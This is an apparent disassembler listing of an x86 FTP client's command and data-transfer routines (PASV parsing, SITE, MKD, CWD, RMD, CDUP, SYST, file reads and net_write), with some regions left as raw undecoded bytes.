var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D8A4
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D5E2
		cmp	eax, 2
		jz	short loc_42D5E2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D5E2:				; CODE XREF: sub_42D580+3Aj
					; sub_42D580+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D614
		cmp	eax, 49h
		jz	short loc_42D614
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D614:				; CODE XREF: sub_42D580+6Cj
					; sub_42D580+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D6F9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42D8A4
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	near ptr 77C47660h
		nop
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D8A4
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 50684D75h, 90004454h, 809709E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D6F9:				; CODE XREF: sub_42D580+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436F2A
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44557068h, 96D8E800h, 83907780h,	0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 45E85700h,	83000098h, 0A75FFF8h, 44544068h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h
		dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh,	0E8004455h
		dd 77809626h, 4C48390h,	9730E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 37E85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44554468h, 0DEE85200h,	90778120h
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44543868h
		dd 9558E800h, 83907780h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------


loc_42D8A4:				; CODE XREF: sub_42D580+2Bj
					; sub_42D580+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D580	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0EB41E800h, 8390777Fh, 0C53B04C4h
		dd 75144689h, 5438682Ch, 17E80044h, 90778095h, 5704C483h
		dd 9621E8h, 30E85600h, 90777FE9h, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA60	proc near		; CODE XREF: sub_42D2C0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DAA2
		mov	ecx, eax


loc_42DAA2:				; CODE XREF: sub_42DA60+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436F12
sub_42DA60	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 80972DE8h
		dd 0C4839077h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh
		dd 0E8510CC4h, 941Eh, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h
		dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
		dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh,	14245489h
		dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h
		dd 8304C483h, 565044C6h, 819EF3E8h, 0C4839077h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A1E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DC70	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DC81
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC81:				; CODE XREF: sub_42DC70+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DC9D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CC50
		add	esp, 0Ch
		jmp	short loc_42DCC4
; ---------------------------------------------------------------------------


loc_42DC9D:				; CODE XREF: sub_42DC70+17j
		call	sub_42CE80
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DCAF
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCAF:				; CODE XREF: sub_42DC70+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------


loc_42DCC4:				; CODE XREF: sub_42DC70+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DCD0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCD0:				; CODE XREF: sub_42DC70+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DD0F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DD0F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DD0F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DD08
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD08:				; CODE XREF: sub_42DC70+93j
		mov	dword ptr [esi+40h], 0


loc_42DD0F:				; CODE XREF: sub_42DC70+6Fj
					; sub_42DC70+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DC70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD50	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DD61
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD61:				; CODE XREF: sub_42DD50+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD7D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DE20
		add	esp, 0Ch
		jmp	short loc_42DD9A
; ---------------------------------------------------------------------------


loc_42DD7D:				; CODE XREF: sub_42DD50+17j
		call	sub_42CE80
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------


loc_42DD9A:				; CODE XREF: sub_42DD50+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DDA6
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDA6:				; CODE XREF: sub_42DD50+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DDDC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DDDC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DDDC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DDDC:				; CODE XREF: sub_42DD50+63j
					; sub_42DD50+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE20	proc near		; CODE XREF: sub_42DD50+23p
					; sub_42DFD0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DE3C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DE3C:				; CODE XREF: sub_42DE20+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42DF64


loc_42DE4D:				; CODE XREF: sub_42DE20+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DE8E
		cmp	al, 0Dh
		jz	short loc_42DE8E
		cmp	esi, 2000h
		jnz	short loc_42DE89
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DEF1
		xor	esi, esi


loc_42DE89:				; CODE XREF: sub_42DE20+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DE8E:				; CODE XREF: sub_42DE20+35j
					; sub_42DE20+39j
		cmp	esi, 2000h
		jnz	short loc_42DEBC
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF11
		xor	esi, esi


loc_42DEBC:				; CODE XREF: sub_42DE20+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DE4D
		test	esi, esi
		jz	loc_42DF64
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DF31


loc_42DEEA:				; CODE XREF: sub_42DE20+4Ej
					; sub_42DE20+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DEF1:				; CODE XREF: sub_42DE20+65j
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF11:				; CODE XREF: sub_42DE20+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF31:				; CODE XREF: sub_42DE20+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 1372E890h, 108B777Fh, 0F8685752h,	0E8004455h
		dd 77813912h, 0CC48390h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42DF64:				; CODE XREF: sub_42DE20+27j
					; sub_42DE20+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DE20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DFD0	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E04B
		dec	eax
		jz	short loc_42E000
		dec	eax
		jz	short loc_42DFEC


loc_42DFE4:				; CODE XREF: sub_42DFD0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFEC:				; CODE XREF: sub_42DFD0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E000
		push	esi
		push	0
		push	0
		call	sub_42DE20
		add	esp, 0Ch


loc_42E000:				; CODE XREF: sub_42DFD0+Fj
					; sub_42DFD0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E014
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42E014:				; CODE XREF: sub_42DFD0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_436F9C
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42DFE4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E04B:				; CODE XREF: sub_42DFD0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E062
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E062:				; CODE XREF: sub_42DFD0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436F06
sub_42DFD0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0A9h, 0E1h
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42E0B0:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E0D9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E0D9:				; CODE XREF: ___:0042E0D0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E130:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E151
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E151:				; CODE XREF: ___:0042E14Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E16C


loc_42E15F:				; CODE XREF: ___:0042E16Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E16C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E15F


loc_42E16C:				; CODE XREF: ___:0042E15Dj
					; ___:0042E163j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1A0:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E1C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E1C9:				; CODE XREF: ___:0042E1C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E220:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E249
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E249:				; CODE XREF: ___:0042E240j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2A0:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D1A0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2D0:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2F9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2F9:				; CODE XREF: ___:0042E2F0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E350:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_4456BC
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E371
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E371:				; CODE XREF: ___:0042E36Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E387
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E387:				; CODE XREF: ___:0042E382j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E3A5


loc_42E393:				; CODE XREF: ___:0042E3A3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E3A5
		cmp	cl, 22h
		jz	short loc_42E3A5
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E393


loc_42E3A5:				; CODE XREF: ___:0042E391j
					; ___:0042E397j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3D0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E400	proc near		; CODE XREF: ___:0042E3E3p
					; ___:0042E663p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E48A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456FC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E43A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E43A:				; CODE XREF: sub_42E400+33j
		cmp	edi, 49h
		jnz	short loc_42E444
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E444:				; CODE XREF: sub_42E400+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E4A4
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E48A:				; CODE XREF: sub_42E400+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E49B
		mov	ebx, dword_50FA84
		jmp	short loc_42E4A4
; ---------------------------------------------------------------------------


loc_42E49B:				; CODE XREF: sub_42E400+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E4A4:				; CODE XREF: sub_42E400+57j
					; sub_42E400+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E4C7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E4C7:				; CODE XREF: sub_42E400+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E53D
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42E593


loc_42E4FA:				; CODE XREF: sub_42E400+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
